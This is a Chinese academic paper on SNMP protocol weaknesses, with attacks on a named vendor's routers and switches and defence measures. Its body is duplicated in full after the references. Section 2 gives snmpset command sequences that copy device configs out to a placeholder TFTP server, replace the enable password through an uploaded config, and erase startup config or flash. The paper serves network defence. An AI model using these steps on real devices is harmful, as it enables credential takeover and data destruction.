论文部分内容阅读
摘要:针对SNMP(简单网络管理协议)的安全威胁,文中对SNMP协议在安全性方面存在的问题进行了论述,以某知名厂商为例,探讨了利用SNMP协议对其网络设备的攻击,并据此提出了一些防范的建议与措施。
关键词:SNMP;MIB;攻击
中图分类号:TP393文献标识码:A文章编号:1009-3044(2008)09-11611-03
The Security Analysis of SNMP Protocol and Its Attack and Defense
ZHAO Jin-qi
(Qinhuangdao, Hebei 92785 Troops Technology Room, Qinhuangdao 066200, China)
Abstract: Considering the menace of SNMP’s security, In the article,the question which existed in the SNMP protocol about security has been analysed,Take a well-known manufacturer as the example, Discussed has used the SNMP protocol to its network device attack,And according to the above put forward some guards proposals and the measure for frustrating the attacks.
Key words: Snmp; Mib; Attack
网络管理协议提供了一种管理不同厂商网络设备的标准方法,实现了对网络设备规范化管理。简单网络管理协议(SNMP)由互联网体系结构委员会IAB(Internet Activities Board)下属的互联网工程任务组IETF(Internet Engineering Task Force)制定并实现,其建立在简单网关监视协议SGMP(Simple Gateway Monitoring Protocol)基础上。SNMP最初只是作为一种临时解决方案提出的,但由于其具有简单实用优点,所以大多数厂商的设备均对其支持,Internet工作委员会也推荐SNMP作为基于TCP/IP的互联网络管理标准协议,SNMP历经v1、v2(包括v2p、v2c、v2u和v2*)和V3,目前己成为INTERNET事实上的网络管理标准协议。
1 SNMP基本结构及其安全性分析
SNMP网络管理包括3个部分:即SNMP主体(SNMPv3之前称SNMP Agent和SNMP Managers)、管理信息库MIB(Management Information Base)和管理信息结构SMI(Structure of Management Information)。SNMP主体是网络管理站和被管代理(运行在被管设备上SNMP服务程序),MIB是存贮在被管设备上通过被管代理进行管理的管理项集合,SMI规定了MIB的体系结构和语法结构。
1.1 SNMPv1、v2安全性分析
SNMPv1、v2的结构模型是一个网络管理站和网元的集合,网元代理和管理站通过SNMP协议中标准消息进行明文通信,以UDP协议作传输协议,进行无连接操作,同时采用团体名作为惟一授权实体认证鉴别手段。这样实现的好处是简单高效,但极不安全。因SNMPv1、v2c管理站和被管代理之间的信息交换采用明文方式,攻击者只要能够截获管理站与被管代理的交互信息,就能轻松得到团体名。此外,攻击者利用截获的SNMP管理消息流,还可以通过恶意重组、延迟和重放等手段实现攻击目地。
MIB为SNMP管理对象数据库,对被管代理MIB管理对象变量进行读写操作就可以实现对被管设备管理或控制。除标准MIB-2外,厂商可根据需要扩展MIB,称为私有MIB(Private MIB)。私有MIB使网络管理功能更加灵活强大,但这些增强的管理功能一旦被误用,将会对被管设备产生巨大威胁。因此,很多网管软件都避免使用这些危险功能,这就使网络管理员不了解或根本不知道有这些功能存在,而攻击者一旦了解这些功能,就能在管理员毫无防备的情况下控制或瘫痪网络设备。
有些设备在实现SNMP时,由于程序设计存在BUG,管理站在解析和处理Trap消息及SNMP代理在处理请求消息时存在某些缺陷,当攻击者将数据包构造成含有异常字段值或过长的对象识别时,会引起管理站或被管设备内存耗尽、堆栈耗尽、缓冲区溢出及越界执行代码等致命错误,从而导致管理站、被管设备重启、死机或错误的执行某些代码。
1.2 SNMPv3的发展与安全性分析
SNMPv3针对前两版的缺陷,通过安全认证与消息加密技术使SNMP的安全性得到很大提高,但SNMPv3在认证和消息加密上消耗了大量管理站、被管设备及网络的资源,在效率上比前两版要低,再加上很多老设备不支持SNMPv3等原因,使得SNMPv3目前还不能得到广泛运用。即使完全使用SNMPv3管理设备,也不是百分百安全的,SNMPv3通过加密使攻击者利用嗅探方式截获SNMP主体间交换信息的攻击方法不再可行,但它不具有防御DoS攻击、防御溢出攻击、防御暴力穷举获取认证用户名与密码的能力,因此即使是完全采用SNMPv3来管理网络,设置时也要充分考虑安全方面的问题,不给攻击者以可乘之机。
2 基于SNMP对网络设备的攻击
以下笔者以某著名厂商(以下简称厂商A)的交换机、路由器为例,通过分析其公布的私有MIB,举例说明攻击者如何利用私有MIB的一些具体功能,达到攻击网络设备的目地。
利用SNMP对网络设备攻击,概括来说无非通过两种方式:(1)想办法得到SNMP具有写权限的团体名(SNMPv1、v2c)、用户名与密码(SNMPv3),然后针对私有MIB某些功能对SNMP代理进行操作,达到控制或瘫痪被管设备目的;(2)构造畸型SNMP数据包,使被管代理崩溃或越界读写私有MIB项。下面假设攻击者已经得到具有写权限的团体名或用户名与密码,或者攻击者构造的畸型SNMP数据包可以使被管代理执行私有MIB管理功能,至于如何得到团体名及构造畸型SNMP数据包,在此就不再细述。
2.1 厂商A私有MIB危险功能描述
厂商A不同版本IOS中私有MIB内容并不相同,某版本的MIB管理项可能在其它版本就不使用或改到别的管理项中,因此笔者只针对IOS12.0举几项危险功能进行分析。
存在FLASH上的IOS是交换机、路由器的操作系统,没有它交换机、路由器就不能工作,同样在NVRAM中如果没有正确的配置文件,设备就不能按照要求正常工作,因此这两者对设备正常工作是缺一不可的。攻击者只要针对这两个文件进行操作,就能达到瘫痪或控制被管设备的目的。
2.2 利用SNMP下载、上传被管设备配置文件及远程执行命令
厂商A在其IOS12.0私有MIB中有一名为ccCopyTable的表,修改此表中某些管理项值,再配合TFTP服务,可下载、上传被管设备配置文件,通过上传带命令的配置文件还可以远程执行命令。以下通过ASN.1语句来描述此表(为了方便只给出关键表项,并对表项作了简化,去除了描述项):
表项1、ccCopyProtocol OBJECT-TYPE
SYNTAX INTEGER {tftp(1),ftp(2),rcp(3)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 2 }
表项2、ccCopySourceFileType OBJECT-TYPE
SYNTAX INTEGER {networkFile(1),iosFile(2),startupConfig(3),
runningConfig(4),terminal(5)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 3 }
表项3、ccCopyDestFileType OBJECT-TYPE
SYNTAX INTEGER {networkFile(1),iosFile(2),startupConfig(3),
runningConfig(4),terminal(5)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 4 }
表项4、ccCopyServerAddress OBJECT-TYPE
SYNTAX IpAddress
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 5 }
表项5、ccCopyFileName OBJECT-TYPE
SYNTAX DisplayString
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 6 }
表项6、ccCopyEntryRowStatus OBJECT-TYPE
SYNTAX INTEGER {entryrun(1)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 14 }
按造上面所列表项,只要管理端发送相应的SNMP管理报文,将它们改变成某个相应值,就可以将被管设备配置文件下载到某一TFTP服务器上。如可以通过SNMP测试命令发送这些管理报文:
1.Snmpset ccCopyEntry.2 int32 1 (选传输协议为TFTP)
2.mpset ccCopyEntry.3 int32 4 (选下载runningConfig)
3.Snmpset ccCopyEntry.4 int32 1(选networkFile传到网络服务器)
4.Snmpset ccCopyEntry.5 ipaddress x.x.x.x (TFTP服务器IP地址)
5.Snmpset ccCopyEntry.6 string abc.txt (把正在运行的配置文件以abc.txt名下载到TFTP服务器上)
6.Snmpset ccCopyEntry.14 int32 1 (此包发送后,被管代理就会按上面要求将runningConfig以abc.txt名存到TFTP服务器上)
要将TFTP服务器上某个配置文件上传到被管设备,可通过下述命令实现:
1.Snmpset ccCopyEntry.2 int32 1 (选传输协议为TFTP)
2.Snmpset ccCopyEntry.3 int32 1 (选networkFile指从网络服务器传入)
3.Snmpset ccCopyEntry.4 int32 4(将上传文件并入runningConfig)
4.Snmpset ccCopyEntry.5 ipaddress x.x.x.x (TFTP服务器IP地址)
5.Snmpset ccCopyEntry.6 string abc.txt (TFTP服务器要上传配置文件名为abc.txt)
6.Snmpset ccCopyEntry.14 int32 1 (此包发送后,被管代理就会接收TFTP服务器上传的abc.txt文件,并将其并入runningConfig)
远程执行命令只要使上传配置文件中含有要执行的命令,将其上传就能够并入runningConfig执行。在厂商A交换、路由设备中enable口令是经过MD5加密的,不能被还原成明文,但如果用自己知道的MD5密码字符串替换原MD5字符串,就能以管理员权限通过telnet登录被管设备了。远程替换enable口令,可由以下过程实现:
(1)修改TFTP服务器中abc.txt,使其只含有以下命令语句(加密口令明文为abc)
enable secret 5 $1$2GSL$ghuyOHAwvHF1gKusxTZaW1
(2)利用上面介绍的上传配置文件方法,将abc.txt当成配置文件上传到被管代理,并入runningConfig执行后,enable口令就被改成了abc。
2.3 利用SNMP远程操作被管设备的FLASH或FLASH中的文件
标量1、writeMem OBJECT-TYPE
SYNTAX INTEGER{ copyrunningconfigtostartconfig(1),
erase startconfig(0)}
MAX-ACCESS read-create
STATUS obsolete
::= { lsystem 54 }
标量2、flashErase OBJECT-TYPE
SYNTAX INTEGER{ eraseflash(1) }
MAX-ACCESS write-only
STATUS mandatory
::= { lflash 6 }
标量1的值如被设成1,相当于在网络设备上运行命令copy running-config startup-config,也就是将正在运行的配置保存到启动配置文件中,将此标量值设为0,相当于运行erase startup-config命令,会将启动配置文件删除。将标量2的值设为1,相当于运行命令erase flash,flash中所有文件,包括IOS、配置文件都将被删除,设备重启后将完全瘫痪。
此外在IOS12.1中还包括了大量对FLASH直接操作功能,如可以直接删除FLASH中所有文件,格式化FLASH等。
上面只列出厂商A私有MIB中部分危险功能,此类功能在其私有MIB中还有很多,在此就不一一赘述。从上面例子可知,管理员如不对这些私有MIB功能的访问加以控制,一旦被攻击者利用,后果是非常严重的。其它网络厂家私有MIB也有这些相似功能,因此管理员在使用SNMP协议时,一定要查清厂家公布的私有MIB中那些功能可能对设备安全有害,并针对这些危险功能通过视图等安全措施将其控制在安全的使用范围内。
3 SNMP攻击防范策略
由于SNMPv1、v2c与SNMPv3在安全方面的差异,因此针对不同SNMP版本实现,应采用不同安全防范策略。
3.1 SNMPvl、v2安全防范策略
对于实现SNMPvl、v2的设备,由于缺少鉴别和加密机制,因此通常采取如下防范策略:
(1)在不必要的情况下关闭SNMP服务。对于安全性要求相对较高的设备,如果不是必需,最好关闭其SNMP代理,不提供SNMP服务。
(2)修改设备缺省团体名。由于很多厂商设备在出厂时常常将SNMP只读团体名缺省值设置为Public,读写操作团体名缺省值设置为Private,这给攻击者提供了使用缺省SNMP团体名攻击的机会,因此需要设置相对复杂的SNMP团体名。
(3)管理站IP地址限定。管理站与代理之间通过不加密的SNMPvl、v2数据流进行信息交流,攻击者只要截获一个SNMP数据包就可以得到明文团体名。因此管理员在设置时一定要对内部未授权主机采取SNMP访问控制,限定只有SNMP管理站的IP地址有权发起SNMP请求,通过访问控制阻挡来自未授权主机IP地址的SNMP请求信息。但这种方法对UDP源IP地址欺骗不能奏效。
(4)设置访问控制,限制从被管设备上利用TFTP、RCP、FTP等方式下载或上传文件。
(5)在深入研究所使用设备私有MIB基础上,找出有可能危及设备安全的私有MIB项,通过视图将具有写权限的团体名能够访问的MIB项控制在安全范围内,或完全禁止对私有MIB的访问。
(6)定期更新IOS,采用最新版IOS可以尽可能减少攻击者利用IOS的BUG对私有MIB进行访问或进行其它溢出攻击。
3.2 SNMPv3安全防范策略
SNMPv3认证和加密机制完善,攻击者难以通过截取SNMP数据包得到有用信息,也不能将截取的数据包加工重放进行攻击,因此通常采取如下防范策略:
(1)设置复杂的用户名与密码,并限定管理站的IP地址。
(2)通过视图将用户的访问严格限定在某一固定范围内,注意不要轻易将私有MIB包含进用户视图中。
(3)定期更新,升级使用最新版IOS,以防止攻击者利用IOS的BUG越界访问私有MIB。
4 结束语
SNMP协议的设计思想是将其设计成一个简单高效的网管协议,这也是其能够被广泛使用的重要原因,但效率和安全有时是不能同时兼顾的,SNMPv1、v2c只要运行,即使做好防护,还是难以完全阻止攻击者的进攻,但其优点是运行效率高。SNMPv3安全性能强,但其为安全付出的代价太大,当用SNMPv3管理大量网络设备时,网管工作站很有可能因为大量加密解密数据使CPU和内存高负荷运转而最终死机,同时网络管理占用的带宽也会大量增加。笔者认为在目前情况下,充分利用各版协议的长处,对效率与安全进行综合考虑,才是网络管理的最佳选择。如管理数据流经过的区域是安全可信区,可采用SNMPv1、v2c进行管理,而管理数据流要经过不安全可信区域,才使用SNMPv3进行管理,并且最好采用分布式管理,将管理负荷由多台网管工作站共同负担,网络管理才能正常有效的运行下去。
参考文献:
[1] Wijnen B,Harrington D,Presuhn R. An Architecture for Describing SNMP Management Frameworks[S].RFC2571,1999-04.
[2] 杨家海,任宪坤,王沛瑜. 网络管理原理与实现技术[M].清华大学出版社,2000.
[3] 岑贤道,安常表. 网络管理协议及应用开发[M].清华大学出版社,1998.
[4] 潇湘工作室. SNMPv3与网络管理[M].人民邮电出版社,2000.
关键词:SNMP;MIB;攻击
中图分类号:TP393文献标识码:A文章编号:1009-3044(2008)09-11611-03
The Security Analysis of SNMP Protocol and Its Attack and Defense
ZHAO Jin-qi
(Qinhuangdao, Hebei 92785 Troops Technology Room, Qinhuangdao 066200, China)
Abstract: Considering the menace of SNMP’s security, In the article,the question which existed in the SNMP protocol about security has been analysed,Take a well-known manufacturer as the example, Discussed has used the SNMP protocol to its network device attack,And according to the above put forward some guards proposals and the measure for frustrating the attacks.
Key words: Snmp; Mib; Attack
网络管理协议提供了一种管理不同厂商网络设备的标准方法,实现了对网络设备规范化管理。简单网络管理协议(SNMP)由互联网体系结构委员会IAB(Internet Activities Board)下属的互联网工程任务组IETF(Internet Engineering Task Force)制定并实现,其建立在简单网关监视协议SGMP(Simple Gateway Monitoring Protocol)基础上。SNMP最初只是作为一种临时解决方案提出的,但由于其具有简单实用优点,所以大多数厂商的设备均对其支持,Internet工作委员会也推荐SNMP作为基于TCP/IP的互联网络管理标准协议,SNMP历经v1、v2(包括v2p、v2c、v2u和v2*)和V3,目前己成为INTERNET事实上的网络管理标准协议。
1 SNMP基本结构及其安全性分析
SNMP网络管理包括3个部分:即SNMP主体(SNMPv3之前称SNMP Agent和SNMP Managers)、管理信息库MIB(Management Information Base)和管理信息结构SMI(Structure of Management Information)。SNMP主体是网络管理站和被管代理(运行在被管设备上SNMP服务程序),MIB是存贮在被管设备上通过被管代理进行管理的管理项集合,SMI规定了MIB的体系结构和语法结构。
1.1 SNMPv1、v2安全性分析
SNMPv1、v2的结构模型是一个网络管理站和网元的集合,网元代理和管理站通过SNMP协议中标准消息进行明文通信,以UDP协议作传输协议,进行无连接操作,同时采用团体名作为惟一授权实体认证鉴别手段。这样实现的好处是简单高效,但极不安全。因SNMPv1、v2c管理站和被管代理之间的信息交换采用明文方式,攻击者只要能够截获管理站与被管代理的交互信息,就能轻松得到团体名。此外,攻击者利用截获的SNMP管理消息流,还可以通过恶意重组、延迟和重放等手段实现攻击目地。
MIB为SNMP管理对象数据库,对被管代理MIB管理对象变量进行读写操作就可以实现对被管设备管理或控制。除标准MIB-2外,厂商可根据需要扩展MIB,称为私有MIB(Private MIB)。私有MIB使网络管理功能更加灵活强大,但这些增强的管理功能一旦被误用,将会对被管设备产生巨大威胁。因此,很多网管软件都避免使用这些危险功能,这就使网络管理员不了解或根本不知道有这些功能存在,而攻击者一旦了解这些功能,就能在管理员毫无防备的情况下控制或瘫痪网络设备。
有些设备在实现SNMP时,由于程序设计存在BUG,管理站在解析和处理Trap消息及SNMP代理在处理请求消息时存在某些缺陷,当攻击者将数据包构造成含有异常字段值或过长的对象识别时,会引起管理站或被管设备内存耗尽、堆栈耗尽、缓冲区溢出及越界执行代码等致命错误,从而导致管理站、被管设备重启、死机或错误的执行某些代码。
1.2 SNMPv3的发展与安全性分析
SNMPv3针对前两版的缺陷,通过安全认证与消息加密技术使SNMP的安全性得到很大提高,但SNMPv3在认证和消息加密上消耗了大量管理站、被管设备及网络的资源,在效率上比前两版要低,再加上很多老设备不支持SNMPv3等原因,使得SNMPv3目前还不能得到广泛运用。即使完全使用SNMPv3管理设备,也不是百分百安全的,SNMPv3通过加密使攻击者利用嗅探方式截获SNMP主体间交换信息的攻击方法不再可行,但它不具有防御DoS攻击、防御溢出攻击、防御暴力穷举获取认证用户名与密码的能力,因此即使是完全采用SNMPv3来管理网络,设置时也要充分考虑安全方面的问题,不给攻击者以可乘之机。
2 基于SNMP对网络设备的攻击
以下笔者以某著名厂商(以下简称厂商A)的交换机、路由器为例,通过分析其公布的私有MIB,举例说明攻击者如何利用私有MIB的一些具体功能,达到攻击网络设备的目地。
利用SNMP对网络设备攻击,概括来说无非通过两种方式:(1)想办法得到SNMP具有写权限的团体名(SNMPv1、v2c)、用户名与密码(SNMPv3),然后针对私有MIB某些功能对SNMP代理进行操作,达到控制或瘫痪被管设备目的;(2)构造畸型SNMP数据包,使被管代理崩溃或越界读写私有MIB项。下面假设攻击者已经得到具有写权限的团体名或用户名与密码,或者攻击者构造的畸型SNMP数据包可以使被管代理执行私有MIB管理功能,至于如何得到团体名及构造畸型SNMP数据包,在此就不再细述。
2.1 厂商A私有MIB危险功能描述
厂商A不同版本IOS中私有MIB内容并不相同,某版本的MIB管理项可能在其它版本就不使用或改到别的管理项中,因此笔者只针对IOS12.0举几项危险功能进行分析。
存在FLASH上的IOS是交换机、路由器的操作系统,没有它交换机、路由器就不能工作,同样在NVRAM中如果没有正确的配置文件,设备就不能按照要求正常工作,因此这两者对设备正常工作是缺一不可的。攻击者只要针对这两个文件进行操作,就能达到瘫痪或控制被管设备的目的。
2.2 利用SNMP下载、上传被管设备配置文件及远程执行命令
厂商A在其IOS12.0私有MIB中有一名为ccCopyTable的表,修改此表中某些管理项值,再配合TFTP服务,可下载、上传被管设备配置文件,通过上传带命令的配置文件还可以远程执行命令。以下通过ASN.1语句来描述此表(为了方便只给出关键表项,并对表项作了简化,去除了描述项):
表项1、ccCopyProtocol OBJECT-TYPE
SYNTAX INTEGER {tftp(1),ftp(2),rcp(3)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 2 }
表项2、ccCopySourceFileType OBJECT-TYPE
SYNTAX INTEGER {networkFile(1),iosFile(2),startupConfig(3),
runningConfig(4),terminal(5)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 3 }
表项3、ccCopyDestFileType OBJECT-TYPE
SYNTAX INTEGER {networkFile(1),iosFile(2),startupConfig(3),
runningConfig(4),terminal(5)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 4 }
表项4、ccCopyServerAddress OBJECT-TYPE
SYNTAX IpAddress
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 5 }
表项5、ccCopyFileName OBJECT-TYPE
SYNTAX DisplayString
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 6 }
表项6、ccCopyEntryRowStatus OBJECT-TYPE
SYNTAX INTEGER {entryrun(1)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 14 }
按造上面所列表项,只要管理端发送相应的SNMP管理报文,将它们改变成某个相应值,就可以将被管设备配置文件下载到某一TFTP服务器上。如可以通过SNMP测试命令发送这些管理报文:
1.Snmpset ccCopyEntry.2 int32 1 (选传输协议为TFTP)
2.mpset ccCopyEntry.3 int32 4 (选下载runningConfig)
3.Snmpset ccCopyEntry.4 int32 1(选networkFile传到网络服务器)
4.Snmpset ccCopyEntry.5 ipaddress x.x.x.x (TFTP服务器IP地址)
5.Snmpset ccCopyEntry.6 string abc.txt (把正在运行的配置文件以abc.txt名下载到TFTP服务器上)
6.Snmpset ccCopyEntry.14 int32 1 (此包发送后,被管代理就会按上面要求将runningConfig以abc.txt名存到TFTP服务器上)
要将TFTP服务器上某个配置文件上传到被管设备,可通过下述命令实现:
1.Snmpset ccCopyEntry.2 int32 1 (选传输协议为TFTP)
2.Snmpset ccCopyEntry.3 int32 1 (选networkFile指从网络服务器传入)
3.Snmpset ccCopyEntry.4 int32 4(将上传文件并入runningConfig)
4.Snmpset ccCopyEntry.5 ipaddress x.x.x.x (TFTP服务器IP地址)
5.Snmpset ccCopyEntry.6 string abc.txt (TFTP服务器要上传配置文件名为abc.txt)
6.Snmpset ccCopyEntry.14 int32 1 (此包发送后,被管代理就会接收TFTP服务器上传的abc.txt文件,并将其并入runningConfig)
远程执行命令只要使上传配置文件中含有要执行的命令,将其上传就能够并入runningConfig执行。在厂商A交换、路由设备中enable口令是经过MD5加密的,不能被还原成明文,但如果用自己知道的MD5密码字符串替换原MD5字符串,就能以管理员权限通过telnet登录被管设备了。远程替换enable口令,可由以下过程实现:
(1)修改TFTP服务器中abc.txt,使其只含有以下命令语句(加密口令明文为abc)
enable secret 5 $1$2GSL$ghuyOHAwvHF1gKusxTZaW1
(2)利用上面介绍的上传配置文件方法,将abc.txt当成配置文件上传到被管代理,并入runningConfig执行后,enable口令就被改成了abc。
2.3 利用SNMP远程操作被管设备的FLASH或FLASH中的文件
标量1、writeMem OBJECT-TYPE
SYNTAX INTEGER{ copyrunningconfigtostartconfig(1),
erase startconfig(0)}
MAX-ACCESS read-create
STATUS obsolete
::= { lsystem 54 }
标量2、flashErase OBJECT-TYPE
SYNTAX INTEGER{ eraseflash(1) }
MAX-ACCESS write-only
STATUS mandatory
::= { lflash 6 }
标量1的值如被设成1,相当于在网络设备上运行命令copy running-config startup-config,也就是将正在运行的配置保存到启动配置文件中,将此标量值设为0,相当于运行erase startup-config命令,会将启动配置文件删除。将标量2的值设为1,相当于运行命令erase flash,flash中所有文件,包括IOS、配置文件都将被删除,设备重启后将完全瘫痪。
此外在IOS12.1中还包括了大量对FLASH直接操作功能,如可以直接删除FLASH中所有文件,格式化FLASH等。
上面只列出厂商A私有MIB中部分危险功能,此类功能在其私有MIB中还有很多,在此就不一一赘述。从上面例子可知,管理员如不对这些私有MIB功能的访问加以控制,一旦被攻击者利用,后果是非常严重的。其它网络厂家私有MIB也有这些相似功能,因此管理员在使用SNMP协议时,一定要查清厂家公布的私有MIB中那些功能可能对设备安全有害,并针对这些危险功能通过视图等安全措施将其控制在安全的使用范围内。
3 SNMP攻击防范策略
由于SNMPv1、v2c与SNMPv3在安全方面的差异,因此针对不同SNMP版本实现,应采用不同安全防范策略。
3.1 SNMPvl、v2安全防范策略
对于实现SNMPvl、v2的设备,由于缺少鉴别和加密机制,因此通常采取如下防范策略:
(1)在不必要的情况下关闭SNMP服务。对于安全性要求相对较高的设备,如果不是必需,最好关闭其SNMP代理,不提供SNMP服务。
(2)修改设备缺省团体名。由于很多厂商设备在出厂时常常将SNMP只读团体名缺省值设置为Public,读写操作团体名缺省值设置为Private,这给攻击者提供了使用缺省SNMP团体名攻击的机会,因此需要设置相对复杂的SNMP团体名。
(3)管理站IP地址限定。管理站与代理之间通过不加密的SNMPvl、v2数据流进行信息交流,攻击者只要截获一个SNMP数据包就可以得到明文团体名。因此管理员在设置时一定要对内部未授权主机采取SNMP访问控制,限定只有SNMP管理站的IP地址有权发起SNMP请求,通过访问控制阻挡来自未授权主机IP地址的SNMP请求信息。但这种方法对UDP源IP地址欺骗不能奏效。
(4)设置访问控制,限制从被管设备上利用TFTP、RCP、FTP等方式下载或上传文件。
(5)在深入研究所使用设备私有MIB基础上,找出有可能危及设备安全的私有MIB项,通过视图将具有写权限的团体名能够访问的MIB项控制在安全范围内,或完全禁止对私有MIB的访问。
(6)定期更新IOS,采用最新版IOS可以尽可能减少攻击者利用IOS的BUG对私有MIB进行访问或进行其它溢出攻击。
3.2 SNMPv3安全防范策略
SNMPv3认证和加密机制完善,攻击者难以通过截取SNMP数据包得到有用信息,也不能将截取的数据包加工重放进行攻击,因此通常采取如下防范策略:
(1)设置复杂的用户名与密码,并限定管理站的IP地址。
(2)通过视图将用户的访问严格限定在某一固定范围内,注意不要轻易将私有MIB包含进用户视图中。
(3)定期更新,升级使用最新版IOS,以防止攻击者利用IOS的BUG越界访问私有MIB。
4 结束语
SNMP协议的设计思想是将其设计成一个简单高效的网管协议,这也是其能够被广泛使用的重要原因,但效率和安全有时是不能同时兼顾的,SNMPv1、v2c只要运行,即使做好防护,还是难以完全阻止攻击者的进攻,但其优点是运行效率高。SNMPv3安全性能强,但其为安全付出的代价太大,当用SNMPv3管理大量网络设备时,网管工作站很有可能因为大量加密解密数据使CPU和内存高负荷运转而最终死机,同时网络管理占用的带宽也会大量增加。笔者认为在目前情况下,充分利用各版协议的长处,对效率与安全进行综合考虑,才是网络管理的最佳选择。如管理数据流经过的区域是安全可信区,可采用SNMPv1、v2c进行管理,而管理数据流要经过不安全可信区域,才使用SNMPv3进行管理,并且最好采用分布式管理,将管理负荷由多台网管工作站共同负担,网络管理才能正常有效的运行下去。
参考文献:
[1] Wijnen B,Harrington D,Presuhn R. An Architecture for Describing SNMP Management Frameworks[S].RFC2571,1999-04.
[2] 杨家海,任宪坤,王沛瑜. 网络管理原理与实现技术[M].清华大学出版社,2000.
[3] 岑贤道,安常表. 网络管理协议及应用开发[M].清华大学出版社,1998.
[4] 潇湘工作室. SNMPv3与网络管理[M].人民邮电出版社,2000.